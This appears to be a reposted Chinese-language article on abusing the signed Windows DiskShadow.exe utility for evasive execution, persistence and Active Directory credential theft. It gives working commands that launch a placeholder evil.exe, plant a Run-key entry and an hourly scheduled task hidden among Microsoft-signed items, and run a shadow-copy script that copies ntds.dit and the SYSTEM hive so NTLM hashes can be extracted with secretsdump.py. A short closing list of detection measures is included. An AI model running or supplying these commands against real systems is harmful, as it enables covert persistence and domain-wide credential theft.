您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關如何利用DiskShadow服務實現免殺持久化控制以及活動目錄數據庫提取,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
DiskShadow.exe是一個命令行工具,用于管理卷影復制服務 (Volume shadow copy Service,VSS) ,而使用VSS可在特定卷上建立數據拷貝時間點以備后期執行數據丟失后的數據恢復,DiskShadow使用類似于DiskRaid或DiskPart的交互式命令解釋器。Diskshadow 作為硬件卷影復制方案的首個內部 VSS 請求程序包含在 Windows Server 2008 、2012和2016系統版本中,利用Diskshadow能夠創建并管理硬件和軟件卷影副本。另外,DiskShadow功能還包含腳本模式。(具體參考 微軟官網說明)
DiskShadow功能管理下的VSS服務需要UAC提升的特權訪問權限,但是普通用戶也可以使用其中的一些功能命令,所以,對于命令執行和免殺持久化來說,DiskShadow也是一個不錯的選擇。
作為應用特征,交互式命令解析器和腳本模式都能支持EXEC命令,且特權用戶和非特權用戶,都可以在交互模式或腳本文件中調用命令和批處理腳本,如以下演示功能。
Note:以下涉及到的實例都是在最新安裝或更新的Windows Server 2016上的非特權/非管理員帳戶系統中實現的,所有操作依賴于系統版本配置,若要成功復現,請確保系統和應用進程的完整性。
在以下實例中,一個正常用戶能在DiskShadow環境中調用calc.exe:
在以下實例中,一下正常用戶通過調用腳本文件diskshadow.txt,來實現對calc.exe和notepad.exe的啟動:
diskshadow.exe /s c:\test\diskshadow.txt
就像Vshadow一樣,DiskShadow.exe可以生成自己的子進程,并且,子進程結束之后DiskShadow.exe還能繼續運行。
因為DiskShadow是Windows系統經過簽名認證的文件,所以我們結合其它一些持久化和免殺的AutoRuns實例,來看看能有什么啟示,我們會在接下來的實例中,更新腳本創建RunKey和任務計劃。
由于上述我們用到的DiskShadow功能都是“窗口響應”式的(比如會彈出命令窗口),所以我們需要更改腳本來調用執行外部命令且類似pass-thru的操作,另外,還要及時關閉DiskShadow父進程和后續的攻擊載荷(Payload)。某些情況下,如果響應窗口時間過長,那么這種技術的隱蔽性就不太好,但是,如果這種窗口是在用戶登錄時的提示,那么就有可能被用戶直接忽略掉。
首先,我們來更改腳本diskshadow.txt來實現基本的程序調用,為實現命令交互,我們必須引用初始的EXEC命令形式:
EXEC "cmd.exe" /c c:\test\evil.exe
接下來,往注冊表中加入以下持久化隱蔽鍵值:
- Run Key Value -
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v VSSRun /t REG_EXPAND_SZ /d "diskshadow.exe /s c:\test\diskshadow.txt"
- User Level Scheduled Task -
schtasks /create /sc hourly /tn VSSTask /tr "diskshadow.exe /s c:\test\diskshadow.txt"
之后,我們可以看看其運行效果。
在創建了持久化隱蔽鍵值之后,在打開系統自啟動功能選擇登錄一欄后可以發現,我們的鍵值是隱蔽的。默認情況下,此視圖中的Windows簽名驗證是不顯示的:
但是在取消“隱藏微軟項目”的選定之后,可以看到我們在AutoRuns下的定義的自啟動項目:
與創建注冊表鍵值相同,在任務計劃欄的默認顯示下,我們創建的任務計劃是隱藏的:
同樣在取消“隱藏微軟項目”的選定之后,可以看到我們在AutoRuns下的定義的自啟動項目:
由于DiskShadow本身就是一個卷影復制管理工具,那么,我們可以來看看卷影復制功能下,是如何來對活動目錄數據庫ntds.dit進行數據提取的。NTDS.DIT是一個二進制文件,就等同于本地計算機的SAM文件,它的存放位置是%SystemRoot%\ntds\NTDS.DIT,這里面包含的不只是Username和HASH,還有OU、Group等等。
在以下應用中,我們假設活動目錄域控制器已被攻擊者成功拿下控制,并能有效在特權用戶環境中以腳本模式執行DiskShadow命令。首先,我們要準備腳本,我們會先對包含活動目錄數據庫的目標磁盤驅動器號進行踩點偵測,了解未被系統磁盤使用的驅動器號。以下就是腳本diskshadow.txt的內容:
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset
在該腳本中,我們為C盤空間創建了一個持久性的卷影復本,然后設置系統可見驅動器別名為Z,以此為掩護執行復制操作實現敏感文件獲取。通過磁盤加載過程,我們就能確定目標文件的拷貝路徑,在卷影復本刪除之前,我們需要把這個目標文件拷貝到“exfil”目錄之下。(DiskShadow命令參考手冊)
注意,我們還可以通過指定卷影設備名稱/唯一標識符來拷貝目標文件,這種方式隱蔽性較好,但還是要確保目標文件標簽和UUID的正確性,以及腳本的有效性,這種方式更適合交互式模式。
DiskShadow的命令和最終執行效果如下:
type c:\diskshadow.txt
diskshadow.exe /s c:\diskshadow.txt
dir c:\exfil
除了提取活動目錄數據庫數據之外,我們還可以提取目標系統的注冊表配置單元(HIVE)信息:
reg.exe save hklm\system c:\exfil\system.bak
當以上ntds.dit和system.bak文件從目標系統成功提取出來后,我們用腳本SecretsDump.py,就可以成功還原出文件中的NTLM哈希:
secretsdump.py -ntds ntds.dit -system system.bak LOCAL
DiskShadow.exe和Vshadow.exe功能類似,但在應用服務中也存在本質不同,可以根據需求和實際環境來選擇使用。
自 Windows Server 2008開始的操作系統中就內置了DiskShadow.exe,而Vshadow.exe只是在Windows SDK中才有,如果目標系統中安裝有Windows SDK,我們就可采用Vshadow.exe,但在一些實際的操作系統環境中,用DiskShadow.exe還是相對較好。
在普通用戶環境中,我們可以非特權情況下使用DiskShadow的部分功能,在我之前發布的Vshadow測試場景中,Vshadow可能會受到權限的影響限制導致某些功能無法正常使用。而相反,DiskShadow在命令的交互效果上更加靈活可靠。
Vshadow對“命令行”的友好度相對較好,這一點上DiskShadow則需要交互式命令或腳本文件來實現某些功能。所以,在一些具備對目標系統遠程控制的途徑管道下(如backdoor),DiskShadow命令實現可能會受到限制,而且其在目標系統中創建文件或腳本的方式可能會被檢測到。因此,在一些安全性要求較高的系統環境中,Vshadow的利用要相對較隱蔽有效。
在之前我發表的 Vshadow利用文章中提到,Vshadow是由微軟簽名證書進行驗證的,也就是說,如果在自啟動項監測欄中,如果沒設置隱藏微軟簽名的話它可能會被發現,而這一點上DiskShadow則是由系統證書驗證的,能夠在某種程度上實現隱蔽,相對較好。
假設在當前提取操作無效的情況下(如卷影磁盤名不是我們想要的),而DiskShadow又只有腳本模式一種可利用方式,那么可能需要其它附加手段來實現AD數據庫提取。除了創建和運行腳本文件之外,邏輯驅動器可能需要映射到目標機器上才能復制ntds.dit,這存在一些安全風險,這種情況下Vshadow的處理要相對較好。
總的來說,DiskShadow似乎更具滲透利用的操作和實用性,但是Vshadow和其它VSS方法也是不錯的。而對于防御DiskShadow攻擊來說,藍隊和安全管理人員可能考慮采用以下措施:
監測卷影復制服務VSS,尤其是隨機的卷影創建/刪除和其它涉及活動目錄數據庫文件ntds.dit的可疑行為;
監測 System Event ID 7036(卷影復制服務運行事件)下的可疑實例,以及VSSVC.exe進程的調用;
監測Diskshadow.exe進程和其子進程的創建行為;
監測進程完整性,如果Diskshadow.exe進程為中等完整性狀態,則可能存在安全風險;
監測服務終端的Diskshadow.exe實例創建事件,除非業務需要,否則Diskshadow.exe進程不應該出現在Windows操作系統中;
監測新的邏輯驅動器映射事件;
實行應用程序白名單機制,對應用程序運行實行權限控制,防止Diskshadow.exe進程的命令執行;
做好信息安全防護,提高員工安全意識!
以上就是如何利用DiskShadow服務實現免殺持久化控制以及活動目錄數據庫提取,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。